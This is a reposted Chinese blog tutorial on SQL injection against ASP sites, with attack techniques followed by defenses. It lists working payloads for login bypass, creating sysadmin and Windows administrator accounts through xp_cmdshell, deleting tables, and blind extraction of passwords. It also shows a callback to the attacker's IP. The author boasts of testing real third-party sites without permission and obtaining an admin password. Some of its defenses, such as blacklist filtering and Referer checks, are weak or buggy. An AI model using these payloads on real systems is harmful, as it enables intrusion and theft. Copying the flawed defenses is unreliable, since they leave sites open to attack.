浅谈sql注入式(SQL injection)攻击与防范
浅谈sql注入式(SQL injection)攻击与防范
精选
转载
没有系统的学习过asp或者php编程,也没有系统的学习过access、sqlserver、mysql等数据库,所以我不是一个程序员,虽然经常干一些类似程序员的事情。
因为要建立自己的站点,3次改版下来,多少也写了几千行程序,加上对一些论坛、留言板、文章发布系统的测试,也发现了一些问题,现在与大家探讨。
在写这篇文章的时候,我除了在本机建立asp+access、asp+sql server测试环境,还在××安全网站、××市人才网、××网络公司的网站上进行了部分测试,在此谨表示歉意!我是选择在凌晨2点~3点开始的测试,而且仅限于检索操作,所以可以肯定的说对贵站几乎没有什么影响,用1个小时流量略多换取我给你们的安全报告,我想不会太亏吧,呵呵!
1、bak文件泄漏asp源代码 很多编辑工具,如Editplus、UltraEdit,默认情况下在保存文件的时候,都会自动备份一个.bak文件。如创建或者编辑config.asp文件,则编辑器会自动生成一个config.asp.bak文件,如果没有删除该文件,攻击者可以通过[url]http://www.[/url]***.com/config.asp.bak 来下载asp源程序。
可以想象,你的源程序被下载,被攻击的风险无疑大了很多。而如果是配置文件,呵呵,用户名、密码、数据库名称/位置…… 解决办法:要么就直接关闭编辑器的自动备份功能,要么在上传的时候,删除所有.bak文件。
2、身份验证被绕过 一般网站有很多页面是需要身份验证通过以后才能访问的,而在这些页面需要对用户身份再次进行验证,但是很多程序员往往忽略了这一点。如果攻击者知道了这些页面的路径和文件名,就可以绕过身份验证,直接进入到该页面。如:需要用户通过login.asp页面登陆,经过身份验证才能打开manage.asp页面。攻击者可以通过[url]http://www.[/url]***.com/manage.asp 直接进入管理界面。
解决办法:在这些的页面开头进行身份确认。如:在身份验证通过以后传递一个session("login")="ok",在manage.asp开头加入 以下内容为程序代码:
if session("login")<>"ok" then response.redirect "login.asp" end if
上面2点说的都是编程的基础问题,下面就来讨论本文的重点,关于sql注入式攻击与防范。
3、asp程序数据库密码验证漏洞 首先,关于request对象,我们知道,如果在form表单中使用get方法传递数据时,应该用QueryString集合来检索表单数据;而使用post方法传递数据时,应该用Form集合来检索表单数据。而更多的程序员为了方便,直接省略集合名称,使用request("data")来检索数据,看似简单,实际上效率很低,而且容易出错。asp默认搜索集合的顺序是QueryString、Form、Cookie、Serverariable,当发现第一个匹配的变量时,就认定是你要访问的成员。所以建议大家不要采用这种方法,题外话说完,我们转入正题。
先来看login.asp文件 以下内容为程序代码:
……
用户名 密码
……
再来看verify.asp文件 以下内容为程序代码:
…… dim rs,sql dim name,pwd name=request.form("name") pwd=request.form("pwd")
if name="" or pwd="" then response.redirect "login.asp" end if …… ''关于身份验证 sql="select * from user where name=''"&name&"'' and pwd=''"&pwd&"''" ……
不要以为没有人会这样写,我见过很多很多,如果你相信我:),看看攻击者能做什么: (1)我们在用户名位置输入【admin'' or 1=''1】,在密码区输入【11】。注:内容只有【】内的。看看sql会变成什么: 以下内容为程序代码:
sql=select * from user where name=''admin'' or 1=''1'' and pwd=''11''
我们知道,or是一个逻辑运算符,在判断多个条件的时候,只要有一个成立,则等式就返回真,后面的and就不再进行判断了,也就是说我们绕过了密码验证,只要我们知道用户名就可以登陆该系统。 (2)我们也可以在用户名位置输入【admin'' --】,在密码区输入【11】。再看看sql: 以下内容为程序代码:
sql=select * from user where name=''admin'' --'' and pasword=''11''
同样,通过连接符--注释掉了后面的密码验证,对access数据库无效。 (3)如果可以通过连接符注释掉后面的验证,那么就更有意思了,来看我们能作什么: a、在用户名位置输入【admin'';exec master.dbo.sp_addlogin Cool;--】,添加一个sql用户 b、在用户名位置输入【admin'';exec master.dbo.sp_password null,123456,Cool;--】,给Cool设置密码为123456 c、在用户名位置输入【admin'';exec master.dbo.sp_addsrvrolemember Cool,sysadmin;--】,给Cool赋予System Administrator权限 d、在用户名位置输入【admin'';exec master.dbo.xp_cmdshell ''net user Cool 123456 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'';-- 】,给系统添加一个密码为123456的帐户Cool,并设置相关属性,关于net user命令可以参考这里。 e、在用户名位置输入【admin'';exec master.dbo.xp_cmdshell ''net localgroup administrators Cool /add'';--】,把cool用户添加到管理员组。
现在觉得恐怖了没有,当然我还没说完,实现这些必须是该站点使用sa或者system administrator权限的用户来连接数据库,普通的的虚拟空间是不用想了,除非管理员是SB。但是对于那些站点放在自己服务器上的网站,很难说哦,真的很难说,呵呵,我见过N个。
那如果不是sa,是不是就什么也不能做了,当然不是!只是不能获得太高权限来控制sql库和系统了,但是对这个库,我们还是拥有完整的管理权限。来看看我们能作什么: a、输入【admin'';delete user;--】,一旦他的表名就是user,就会删除user表里所有记录。够狠吧!你可千万别这么做哦! b、输入【admin'';insert into user (name,pwd) values (''cool'',''123456'');--】,可以给user表添加一个用户,当然前提是表名和字段名都要正确。 c、输入【admin'';update news set pwd=''123456'' where name=''admin'';--】,可以修改admin的密码,当然前提也是表名和字段名都要正确。 更多的攻击内容,你可以参考sql语法。
看来如果不是sa还是比较郁闷的,当然,我们也有一些简单的方法来判断网站是否使用sa来连接数据库。 a、在cmd中执行nc -l -p 21,监听本机的21端口;当然也可以采用火墙什么的。 b、输入【admin'';exec master.dbo.xp_cmdshell ''ftp *.*.*.*''】,其中*代表你的ip地址,如果发现有连接,就可以断定是使用sa了,而且可以获得网站数据库的ip地址,因为有些网站web和sql是放在不同服务器上的;如果没有连接,则网站使用的是非sa帐户。
可能有的朋友已经看出来了,如果网站使用的是sa,我们可以通过页面从内部发起连接,可以构造ftp脚本,也可以使用tftp来上传文件,即使有火墙也是枉然。 也许有的朋友会说,人家在表单里已经这里了最大长度是20,你跟本就输入不了那么多!没事,难不倒我们。 方法一: a、打开网站页面http:\\www.***.com\login.asp,查看源文件,把提交表单部分 以下内容为程序代码:
用户名 密码
拷贝出来,存到本机login.htm b、修改action为http:\\www.***.com\verify.asp,即: 以下内容为程序代码:
用户名 密码
注意:有的网站这里的action为空,就需要你自己慢慢找找他提交到那里去了,呵呵,我遇到过这种情况,一般来说都是可以找到的。
c、修改maxlength,加大,再加大,要不就删除了! d、从本地提交变量 方法二: Cool.reg 9x用户: 以下内容为程序代码:
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\给我加大> @="c:\\cool.htm" "contexts"=dword:00000004
2k用户: 以下内容为程序代码:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\给我加大> @="c:\\cool.htm" "contexts"=dword:00000004
Cool.htm 以下内容为程序代码:
set srcevent = external.menuarguments.event set doc=external.menuarguments.document set ele=doc.elementfrompoint( srcevent.clientx, srcevent.clienty ) if ele.type ="text" or ele.type="password" then ele.maxlength=100 ele.size=100 end if
a、拷贝cool.reg的内容,保存,执行并确认。 b、拷贝cool.htm的内容,保存到指定位置,这里是c:\ c、打开网页[url]http://www.[/url]***.com ,在输入框位置点击右键,会看到“给我加大”一项,点击即可 当然,我们可以修改cool.reg来改变cool.htm的路径以及文件名;也可以修改cool.htm来改变size和maxlength。 好了,说了这么多恐怖的东东,来看看怎么防范。 (1)过滤提交数据;我们可以通过 以下内容为程序代码:
…… dim name,pwd name=request.form("name") name=replace(name,"''","’") ''替换半角''为全角'' name=replace(exp1,"-","") ''替换-为空 name=replace(exp1,";","") ''替换;为空 ……
或者 以下内容为程序代码:
…… dim name,pwd name=request.form("name") if InStr(name,"''") or InStr(name,"-") or InStr(name,";") then response.write(" alert(""error!"");history.go(-1);") response.end end if ……
具体的过滤条件,或者替换还需要结合实际来使用。 (2)verify.asp文件本身验证的逻辑就是错误的,应该修改为: 以下内容为程序代码:
…… set rs=server.createobject("adodb.recordset") sql="select * from user where name=''"&name&"''" rs.open sql,conn_data,1,1 ''身份验证过程 if not rs.eof then if pwd=rs("pwd") then session("login")="ok" response.redirect "/default.asp" else response.redirect "login.asp" end if else response.redirect "login.asp" end if ……
也就是说以用户名为条件检索数据库,用检索到的记录的密码与客户端输入的密码进行比较。
(3)对用户密码加密处理,网上有很多相关的加密过程,这里假定为encrypt(),则verify.asp就应该是 以下内容为程序代码:
…… set rs=server.createobject("adodb.recordset") sql="select * from user where name=''"&name&"''" rs.open sql,conn_data,1,1 ''身份验证过程 if not rs.eof then if encrypt(pwd)=rs("pwd") then ''这里对输入的密码进行加密处理 session("login")="ok" response.redirect "/default.asp" else response.redirect "login.asp" end if else response.redirect "login.asp" end if ……
(4)用不同的用户帐户执行查询、插入、更新、删除操作。由于隔离了不同帐户可执行的操作,因而也就防止了原本用于执行Select命令的地方却被用于执行Insert、Update或Delete命令。如果是大型官方站点,千万不要怕麻烦!
(5)通过数据库设置特定的存储过程,只允许特定的存储过程执行,所有的用户输入必须遵从被调用的存储过程的安全上下文,这样就很难再发生注入式攻击了。
(6)限制表单或查询字符串输入的长度。如果用户的登录名字最多只有20个字符,那么不要认可表单中输入的20个以上的字符,这将大大增加攻击者在SQL命令中插入有害代码的难度。当然,我们可以通过本地提交来绕过这个限制,但是也不是没有办法来控制,来看:
a、在取数据的时候,只取有效长度内的数据。 以下内容为程序代码:
…… dim name,pwd name=left(request.form("name"),20) ……
b、在服务器确认提交位置 login.asp 以下内容为程序代码:
……
value=""> value=""> 用户名 密码
……
这里传递了2个参数referer,ser_name verify.asp 以下内容为程序代码:
…… dim referer,ser_name ''取这2个参数 referer=Cstr(Request.ServerVariables("HTTP_REFERER")) ser_name=Cstr(Request.ServerVariables("SERVER_NAME")) ''判断浏览器位置 if mid(referer,8,len(ser_name))<>ser_name then response.redirect "login.asp" end if ……
这样,如果你不是在该网站提交的数据,就不能够顺利登陆。 (7)检查提取数据的查询所返回的记录数量。如果程序只要求返回一个记录,但实际返回的记录却超过一行,那就当作出错处理。
4、网页传递参数不进行过滤处理 很多网站都存在这个问题,比如[url]http://www.[/url]***.com/show.asp?id=50 ,在没有对id进行过滤,或有效过滤的情况下,整个网站都处在非常危险的境地。 我们可以通过很简单的办法测试是否存在这个问题:[url]http://www.[/url]***.com/show.asp?id=50 and 1=1 如果页面显示正确,基本上可以断定它存在这个问题。 来看看攻击者能做写什么: (1)[url]http://www.[/url]***.com/show.asp ? id=50;exec master.dbo.sp_addlogin Cool;-- (2)[url]http://www.[/url]***.com/show.asp ? id=50;exec master.dbo.sp_password null, 123456,Cool;-- (3)[url]http://www.[/url]***.com/show.asp ? id=50;exec master.dbo.sp_addsrvrolemember Cool,sysadmin;-- (4)[url]http://www.[/url]***.com/show.asp ? id=50;exec master.dbo.xp_cmdshell ''net user Cool 123456 /add'';-- (5)[url]http://www.[/url]***.com/show.asp ? id=50;exec master.dbo.xp_cmdshell ''net localgroup administrators Cool /add'';-- 只要是表单中能提交的,这里基本都可以提交。 (6)猜表名 :[url]http://www.[/url]***.com/show.asp?id=50 and 0<>(select count(*) from tablename),这里的tablename就是你猜测的表名。如果页面显示正常,则你猜测的表名是正确的。 (7)猜字段名:[url]http://www.[/url]***.com/show.asp?id=50 and 0<>(select count(fieldname) from tablename),这里的fieldname是表中某一字段名,如果页面显示正常,可以断定字段名称正确。 (8)在获得tablename和fieldname以后,就可以更进一步了。 比如是登陆系统,tablename是user,fieldname是id,name和pwd,看看能做些什么: a、[url]http://www.[/url]***.com/show.asp?id=50 and 0<> (select count(*) from user where id>1000) 粗略判断用户数量 b、[url]http://www.[/url]***.com/show.asp?id=50 and 1= (select count(*) from user where id=1 and len(name)=10) 判断id为1的用户的用户名长度是否为10 c、[url]http://www.[/url]***.com/show.asp?id=50 and 1= (select count(*) from user where id=1 and mid(name,n,1)=''a'') 判断id为1的用户的用户名的第n位是否为a d、[url]http://www.[/url]***.com/show.asp?id=50 and 1= (select count(*) from user where id=1 and len(pwd)=10) 判断id为1的用户的密码长度是否为10 e、[url]http://www.[/url]***.com/show.asp?id=50 and 1= (select count(*) from user where id=1 and mid(pwd,n,1)=''a'') 判断id为1的用户的密码的第n位是否为a,如果你的密码没有加密,嘿嘿! 当然mid(pwd,n,1)也可以写成right(left(pwd,n),1),个人习惯了! 不过这样子一点一点的试,是不是太累了,那就自己用用perl写个小东东吧,挂个字典?呵呵,随你便! 另外,还有一个小技巧,可以让你很快的破解用户名和密码,我用这种方法,在10分钟内完成了猜表名、猜列名、破解一个10位长(其中5位汉字)的用户名、破解它的12位(1位汉字)密码,获得了××安全网站的后台管理员用户名和密码,不过其中有8项内容是通过社会工程学猜的,呵呵。只是有点郁闷的是我没有找到网站后台的登陆界面,郁闷ing…… a、[url]http://www.[/url]***.com/show.asp?id=50 and 1= (select count(*) from user where id=1 and len(name)=10) 先确定用户名长度 b、[url]http://www.[/url]***.com/show.asp?id=50 and 1= (select count(*) from user where id=1 and len(pwd)=10) 再确定密码长度 c、[url]http://www.[/url]***.com/show.asp?id=50 and 1= (select count(*) from user where id=1 src(mid(name,1,1))<0) 判断用户名第一位是否为中文,如果是中文,一般都是负的好多 如果不是,一般范围都在27~126之间,可以使用[url]http://www.[/url]***.com/show.asp?id=50 and 1= (select count(*) from user where id=1 src(mid(name,n,1))>60)[url]http://www.[/url]***.com/show.asp?id=50 and 1= (select count(*) from user where id=1 src(mid(name,n,1))<100) 来确定范围,最终得出asc码值,通过对照(常用ASCII 码对照表)来获得第n位内容。 如果是中文,应该小于-32,768,可以使用[url]http://www.[/url]***.com/show.asp?id=50 and 1= (select count(*) from user where id=1 src(mid(name,n,1))>-30000)[url]http://www.[/url]***.com/show.asp?id=50 and 1= (select count(*) from user where id=1 src(mid(name,n,1))<-10000) 来确定范围,最终得出asc码值,通过转换获得第n位的内容,方法多多,许多编辑工具都有这个功能,也可以使用chr()函数直接输出进行转换。 d、同理,可以很快获得密码内容。 这里你是否也看到了刚才提到的request对象中省略集合名称的问题呢?!:) 解决办法:这类问题,主要是对传递参数的过滤和对数据合法性的验证。 限于个人水平,以上内容不一定完全正确,而且还有许多没有提及的地方,希望和大家更多的交流。
举报文章
请选择举报类型
内容侵权
涉嫌营销
内容抄袭
违法信息
其他
上传截图
格式支持JPEG/PNG/JPG,图片不超过1.9M
取消
确认
已经收到您得举报信息,我们会尽快审核